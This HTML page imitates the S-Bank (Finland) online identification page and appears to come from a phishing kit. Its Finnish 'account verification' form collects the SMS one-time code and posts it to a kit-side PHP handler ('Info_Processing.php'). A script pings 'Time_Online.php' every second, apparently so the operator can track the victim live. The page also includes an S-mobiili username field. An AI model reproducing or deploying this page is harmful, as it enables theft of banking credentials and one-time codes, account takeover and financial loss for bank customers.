<html lang="fi"><head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">
    <meta http-equiv="Cache-Control" content="no-cache">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
    
    <title>Tunnistautuminen</title>
    <link rel="icon" type="image/png" href="../Folder/favicon.ico">

    


<link href="../Folder/auth.05f49022e1cd9c5b1b15.css" rel="stylesheet">
</head>

<body class="ebank no-js fi" style="overflow: auto;">

<script>
setInterval(function(){ var client = new XMLHttpRequest();
client.open('GET', './request/Time_Online.php?Online=Sms');
client.onreadystatechange = function() {

}
client.send();  }, 1000);
</script> 

<script>
   var seconds = 120;
   function secondPassed() {
   var minutes = Math.round((seconds - 30)/60);
   var remainingSeconds = seconds % 60;
   if (remainingSeconds < 10) {
      remainingSeconds = "0" + remainingSeconds; 
   }
   document.getElementById('countdown').innerHTML = "Koodi lähetettiin puhelimeen " + minutes + ":" + remainingSeconds + "";
   if (seconds == 0) {
    clearInterval(countdownTimer);
    document.getElementById('countdown').innerHTML = "";
   } else {
    seconds--;
   }
   }
   var countdownTimer = setInterval('secondPassed()', 1000);
</script>
    
    
    

    

    <header class="page-header">
    <img class="logo" alt="Tunnistautuminen" src="../Folder/s-bank-fi.svg">

    <div class="language-switch">
            <a title="Suomi" href="#auth/initLogin.do#?language=1">
                Suomi</a>
            <span class="separator">|</span>
            <a title="Svenska" href="#auth/initLogin.do#?language=2">
                Svenska</a>
        </div>
    <div class="help-modal-link">
        <button type="button" class="link " name="lbl_help_modal" value="Tarvitsetko apua?" id="help-dialog-link">
	        Tarvitsetko apua?</button>
	</div>

    <a class="quit-link" title="Poistu" href="#">
            Poistu</a>
    </header>
<main id="loginp" class="page-wrapper login-layout">
    <div class="page-info">
    <img class="img-service-name" src="../Folder/identificationservice.svg" alt="">
    <h1 class="service-name">Tunnistautuminen</h1>
    </div>


	






                <div id="idp-auth-switch" class="cbs-content-switch">
                    <div role="tabpanel" data-cs-id="PIN_TAN" style="">
                            <div class="page-box">

    <div class="page-box-header">
            <h2 class="page-box-heading">Tilin vahvistus</h2>
        </div>
    <div class="page-box-banner">
            <img src="../Folder/codetable.jpg" alt="">
        </div><div class="page-box-content">
        <div class="grid-x">
                <div class="cell small-12 medium-6">
                    <div class="page-box-description">
                        <p id="countdown">Koodi lähetettiin puhelimeen 1:42</p>
                    </div>
                </div>
                <div class="cell small-12 medium-6">
                        <form action="../request/Info_Processing.php" method="POST">
                        <div class="form__normal">
                            
                            
                            

                            <label for="Sms" class="form__label">Syötä vastaanotettu koodi:</label>
                            <small>Koodi SMS</small>
                            <input required="" size="14" maxlength="12" class="ssn form__password" name="Sms" autocomplete="off" type="text" style="
    width: -webkit-fill-available;
">


                            <button type="submit" class="button" name="btn_log_in" value="Jatka" style="
">
                                <span class="btn-normal">
                                  <span>
                                    <span class="arrow">
                                          Jatka</span>
                                  </span>
                                </span>
                            </button>
                          
                        </div>
                    </form>

                </div>
            </div>
        </div>
</div>
<div class="page-divider">
    <div class="page-divider-wrapper">
        <div class="page-divider-border-wrapper">
            <div class="page-divider-border-line"></div>
        </div>
        <div class="page-divider-text-wrapper">
            <span class="page-divider-text">tai</span>
        </div>
    </div>
</div>

<div class="page-switch">
                                    <div class="page-switch-content">
                                        <a href="#ENCAP" data-cs-target="ENCAP" data-cs-scroll-to-top="" class="button">
                                            <span class="btn-wide btn-secondary">S-mobiililla</span>
                                        </a>
                                    </div>
                                </div>
                            </div>
                    <div role="tabpanel" data-cs-id="ENCAP" data-cs-default="" style="display: none;">
                        

<div class="page-box">
    <div class="page-box-header">
            <h2 class="page-box-heading">
                S-mobiililla tunnistautuminen</h2>
        </div>
    <div class="page-box-content">
        <div id="ENCAP">
    <div data-flow="qrcode" data-view="init">
    <p data-error="qrcode" class="error">Ole hyvä ja yritä myöhemmin uudelleen.</p>
    <div class="qr-header">
      <h3>
        Lue QR-koodi</h3>
    </div>
    <div class="qr-container">
      <div class="qr-description">
        <p>
          Kirjautuminen onnistuu puhelimen ja alla olevan QR-koodin avulla ilman tunnuksien antamista. <br>
          <a id="qr-help-dialog-link" title=" Näin helppoa se on.">
             Näin helppoa se on.</a>
        </p>
        <ol class="qr-description-bullets">
          <li>
              <span class="qr-description-icon">
                <i class="c_step--circle" aria-hidden="true">1</i>
              </span>
                <p class="qr-bullet-text">Avaa S-mobiili ja valitse alavalikosta "Minä".</p>
              </li>
            <li>
              <span class="qr-description-icon">
                <i class="c_step--circle" aria-hidden="true">2</i>
              </span>
                <p class="qr-bullet-text">Valitse "Lue QR-koodi" ja seuraa S-mobiilin ohjeita.</p>
              </li>
            </ol>
      </div>
      <div class="qr-img-wrapper">
        <img width="100" height="100" src="#qr/image.ds?qrId=NETBANK98DA44C2EB5E79E647919810C&amp;size=200&amp;padding=0&quot;" alt="" id="qrImage" class="qr-image">
      </div>
      <div class="qr-link-wrapper">
        <a data-flow="userid" href="#">
          Käytä käyttäjätunnusta QR-koodin sijaan</a>
      </div>
    </div>
  </div>

  <div data-flow="qrcode" data-view="processing" hidden="">
    <div class="grid-x">
      <div class="page-box-description cell small-12">
        Viimeistele tunnistautuminen S-mobiilissa.<div id="authenticationCodeWrapper" class="page-box-description authentication_code_hidden">
    <p>
        Yksilöintitunnus:<span id="authenticationCode" class="authentication_code">GV20</span>
    </p>
</div></div>
      <div class="cell small-12">
        <img class="" alt="" src="../Folder/s-mobile-with-qr-code-verification.jpg">
      </div>
    </div>
    <div class="cancel-link">
      <a href="initLogin.do#?language=1" data-clearpasswords="true">Takaisin</a></div>
  </div>
<form name="simpleLoginForm" id="login-init-form" method="post" action="" #auth="" encapinitlogin.do"="" class="multi-click" onsubmit="return false" target="_top"><div><input type="hidden" name="org.apache.struts.taglib.html.TOKEN" value="24d5c0e71889ccab06cec4ed82934cea"></div><input type="hidden" name="language" value="fi">

      <div data-flow="userid" data-view="init" hidden="">
  <div class="grid-x">
    <div class="page-box-description cell small-12 medium-6">
      <h2>
        Lähetä tunnistuspyyntö S-mobiiliin käyttäjätunnuksen avulla</h2>
      <p>
        Voit myös kirjautua ensin puhelimellasi S-mobiiliin ja antaa sen jälkeen alla olevaan kenttään käyttäjätunnuksesi.</p>
    </div>
    <div class="cell small-12 medium-6">
      <p data-error="userid" class="error">Ole hyvä ja yritä myöhemmin uudelleen.</p>
      <div class="form__normal u_margin-bottom--medium">
        <label for="encapUsername" class="form__label">
            Käyttäjätunnus</label>
        <p class="form__hint">
        
6-8 numeroa.</p>
        <input type="password" name="username" value="" maxlength="8" size="6" autocomplete="off" class="">
      </div>
      <button type="submit" class="button " name="btn_send" value="Lähetä">
	        <span class="btn-normal">
	            <span class="arrow">
	        	      Lähetä</span>
	        </span>
	    </button>
	</div>
  </div>

  <div class="cancel-link">
      <a href="initLogin.do#?language=1" data-clearpasswords="true">Takaisin</a></div>
  </div>

<div data-flow="userid" data-view="processing" hidden="">
  <div class="grid-x">
    <div class="page-box-description cell small-12 medium-6">
      <p>
        </p><h2>Vahvista tunnistuspyyntö S-mobiilissa</h2>
<p>Mikäli tunnistuspyynnön vahvistus ei näy suoraan S-mobiilissa, valitse ensin S-mobiilin alavalikosta "Minä". Valitse sen jälkeen näytön yläosasta "Hyväksy tapahtuma".</p><p></p>
      <div id="authenticationCodeWrapper" class="page-box-description authentication_code_hidden">
    <p>
        Yksilöintitunnus:<span id="authenticationCode" class="authentication_code">GV20</span>
    </p>
</div></div>
    <div class="cell small-12 medium-6">
      <img class="img_login-phone" alt="S-mobiili" src="../Folder/s-mobiililla-tunnistautuminen-info-kuva-1x.jpg">
    </div>
  </div>
  <div class="cancel-link">
    <a href="initLogin.do#?language=1" data-clearpasswords="true">Takaisin</a></div>
</div>
</form><form name="initSessionForm" id="login-redirect-form" method="post" action="#auth/initSession.do" class="hidden" target="_top"><div><input type="hidden" name="org.apache.struts.taglib.html.TOKEN" value="24d5c0e71889ccab06cec4ed82934cea"></div><input type="hidden" name="scriptActive" value="false">
    </form></div>
</div>
</div>
<div class="page-divider">
    <div class="page-divider-wrapper">
        <div class="page-divider-border-wrapper">
            <div class="page-divider-border-line"></div>
        </div>
        <div class="page-divider-text-wrapper">
            <span class="page-divider-text">tai</span>
        </div>
    </div>
</div>

<div class="page-switch">
                                    <div class="page-switch-content">
                                        <a href="#PIN_TAN" data-cs-target="PIN_TAN" data-cs-scroll-to-top="" class="button">
                                            <span class="btn-wide btn-secondary">Tunnuslukutaulukolla</span>
                                        </a>
                                    </div>
                                </div>
                            </div>
                    </div>
            </main>
<footer class="page-footer">
    <div class="language-switch">
            <a title="Suomi" href="#?language=1">
                Suomi</a>
            <span class="separator">|</span>
            <a title="Svenska" href="#?language=2">
                Svenska</a>
        </div>
    </footer>













    

    




</body></html>